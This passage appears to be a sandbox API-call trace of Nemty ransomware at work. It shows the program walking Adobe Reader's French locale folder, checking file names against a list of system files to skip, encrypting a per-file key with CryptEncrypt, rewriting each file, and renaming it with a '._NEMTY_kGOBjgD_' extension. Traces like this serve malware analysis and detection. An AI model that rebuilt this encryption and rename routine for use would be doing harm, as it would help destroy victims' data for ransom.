lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.111] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\EScript.fra" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\escript.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\EScript.fra._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\escript.fra._nemty_kgobjgd_")) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.111] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.111] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="IA32.FRA", cAlternateFileName="")) returned 1 [0177.111] lstrcmpiW (lpString1="IA32.FRA", lpString2=".") returned 1 [0177.111] lstrcmpiW (lpString1="IA32.FRA", lpString2="..") returned 1 [0177.111] lstrcmpiW (lpString1="IA32.FRA", lpString2="...") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="windows") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="rsa") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="NTDETECT.COM") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="ntldr") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="MSDOS.SYS") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="IO.SYS") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="boot.ini") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="boot.ini") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="ntuser.dat") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="desktop.ini") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="CONFIG.SYS") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="RECYCLER") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="bootmgr") returned 1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="programdata") returned -1 [0177.112] lstrcmpiW (lpString1="IA32.FRA", lpString2="appdata") returned 1 [0177.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.FRA", lpUsedDefaultChar=0x0) returned 8 [0177.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x653e890, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.FRA", lpUsedDefaultChar=0x0) returned 8 [0177.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x653e8e0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.FRA", lpUsedDefaultChar=0x0) returned 8 [0177.112] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.112] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.112] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.113] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IA32.FRA", cchWideChar=8, lpMultiByteStr=0x653e918, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IA32.FRA", lpUsedDefaultChar=0x0) returned 8 [0177.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0177.113] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0177.113] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0177.113] Sleep (dwMilliseconds=0x5) [0177.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d380070, dwHighDateTime=0x1d561e8)) [0177.120] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d380070, dwHighDateTime=0x1d561e8)) [0177.120] GetLastError () returned 0x0 [0177.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.120] GetLastError () returned 0x0 [0177.120] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.120] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.121] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.121] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.121] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0177.121] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="/ebgmYvPpsn2YivYwmoH7YQStNh5ALaxHLja/ZAxqdjARcPEJ+43URo0QVftB55W\r\nWzHzYT+E6zC/nr0LOjfOkAlQE4HM7WS7bt+Ij8E6HypBskQdrvfwoiRuDwZ949tB\r\nSE4EP8dLNurP2/t0YDdY2/+A9CsW+z055/sW0zY5np3+LcqLorqDqfq2Pqg7N96v\r\nSBiOCPbM3cipcTxxogtyLG5ySQ2DUgq+fVnj0lFIugQG6bt3wA1mzJ7lJnRYqcD9\r\n+7HiNs34Cs3uiqPL4pON6dZ5Mq4UbuAFMJs2a9GYsnCdeS+bhdbAIDPOIYRK/d8w\r\nT9JKm9z1/ioE1+qwe8xsZA==\r\n", pcchString=0x653e5dc) returned 1 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.121] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.121] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\IA32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ia32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.121] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=3584) returned 1 [0177.121] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xe00) returned 0x634ad48 [0177.121] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.121] ReadFile (in: hFile=0x2e8, lpBuffer=0x634ad48, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesRead=0x653e824*=0xe00, lpOverlapped=0x0) returned 1 [0177.123] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.123] WriteFile (in: hFile=0x2e8, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xe00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653e81c*=0xe00, lpOverlapped=0x0) returned 1 [0177.123] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0177.123] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=3584, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xe00 [0177.123] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0177.123] CloseHandle (hObject=0x2e8) returned 1 [0177.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0177.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0177.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.125] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0177.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0177.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0177.125] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0177.125] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\IA32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ia32.fra"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\IA32.FRA._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\ia32.fra._nemty_kgobjgd_")) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0177.125] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0177.126] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="makeaccessible.FRA", cAlternateFileName="MAKEAC~1.FRA")) returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2=".") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="..") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="...") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="windows") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="$RECYCLE.BIN") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="rsa") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="NTDETECT.COM") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="ntldr") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="MSDOS.SYS") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="IO.SYS") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="boot.ini") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="boot.ini") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="AUTOEXEC.BAT") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="ntuser.dat") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="desktop.ini") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="CONFIG.SYS") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="RECYCLER") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="BOOTSECT.BAK") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="bootmgr") returned 1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="programdata") returned -1 [0177.126] lstrcmpiW (lpString1="makeaccessible.FRA", lpString2="appdata") returned 1 [0177.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.FRA", lpUsedDefaultChar=0x0) returned 18 [0177.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0177.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.126] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.126] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.FRA", lpUsedDefaultChar=0x0) returned 18 [0177.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0177.126] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0177.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0177.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x4f9ecb8, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.FRA", lpUsedDefaultChar=0x0) returned 18 [0177.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0177.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0177.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0177.127] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="makeaccessible.FRA", cchWideChar=18, lpMultiByteStr=0x4f9ed58, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="makeaccessible.FRA", lpUsedDefaultChar=0x0) returned 18 [0177.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0177.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0177.127] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0177.127] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0177.127] Sleep (dwMilliseconds=0x5) [0177.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d3a61d0, dwHighDateTime=0x1d561e8)) [0177.136] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1d3a61d0, dwHighDateTime=0x1d561e8)) [0177.136] GetLastError () returned 0x0 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0177.136] GetLastError () returned 0x0 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0177.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0177.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0177.136] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0177.136] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0177.136] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="7jwPsh4wUuSbECRwdC6DD8qvXh3Cs2RM2YziaEpjQwzVeLlKCXe7WWkkO7CCYrRP\r\npLVxQgszP17+94Bh2BnQaDNI2KFNPvQyWGC2LxzmJnC0IYVfKw6WLs8ltdrUxkZM\r\nbCl+lLtwdM2l/dg0Nd9/NlDiIIN9shduShmOj+qRSZDdS8nHzJBhXpplMWhPwdgw\r\nTJTFRY+RG5ue9g1unvZOE8+WN5lbDuHILKFNfKKU7JnimeyUYxSi5BKt6KJIP5GH\r\nvQcSHNTJGfSsVg8ZmNsTmrUbjZ2vBsjgq8JY7kcKj7O1Q7PkbtbJuIupr0NbPVqu\r\nFkHDW2a7n1Y5DPoqcTLgIw==\r\n", pcchString=0x653e5dc) returned 1 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0177.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0177.136] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0177.136] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0177.136] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\makeaccessible.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\fr_fr\\makeaccessible.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0177.137] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=84992) returned 1 [0177.137] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x14c00) returned 0x6352c48 [0177.137] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.137] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x14c00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x14c00, lpOverlapped=0x0) returned 1 [0177.144] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0177.144] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x14c00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x14c00, lpOverlapped=0x0) returned 1 [0177.144] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0177.144] SetFilePointer (in: 